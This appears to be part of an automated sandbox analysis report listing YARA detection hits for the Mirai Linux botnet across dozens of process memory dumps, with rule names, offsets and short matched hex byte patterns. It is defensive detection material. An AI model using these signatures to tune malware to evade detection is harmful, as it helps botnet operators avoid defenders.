6381.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6381.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6450.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6450.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6450.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6450.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6450.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6450.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6459.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6459.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6459.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6459.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6459.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6459.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6500.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6500.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6500.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6500.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6500.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6500.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6720.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6720.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6720.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6720.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6720.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6720.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7178.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7097.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7178.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7178.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7178.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7178.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7178.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7039.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7039.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7039.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7039.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7039.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7039.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6465.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6371.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6371.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6371.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6371.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6371.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6371.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6958.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6958.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6958.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6958.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6958.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6958.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7194.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6600.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6600.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6600.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6600.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6600.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6600.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7139.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7139.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7139.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7139.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7139.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7139.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7163.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7163.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7163.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7163.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7163.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7163.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6505.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6505.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6505.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6505.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6505.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6505.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7095.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7095.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7095.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7095.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7095.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7095.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7355.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7355.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7355.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7355.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7355.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7355.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6715.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6325.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6325.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6325.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6325.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6325.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6325.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6350.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6350.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6350.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6350.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6350.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6350.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6426.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6426.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6426.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6426.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6426.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6426.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7004.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7004.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7004.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7004.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7004.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7004.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6590.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6590.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6590.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6590.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6590.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6590.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6251.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6251.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6251.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6251.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6251.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6251.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6623.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7123.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7123.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7123.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7123.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7123.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7123.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7346.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7346.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7346.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7346.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7346.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7346.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6795.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6795.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6795.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6795.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6795.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6795.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7341.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7341.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7341.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7341.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7341.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7341.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7400.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7400.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7400.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7400.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7400.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7400.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6804.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6804.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6804.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6804.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6804.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6804.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7042.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7042.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7042.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7042.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7042.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7042.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7135.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
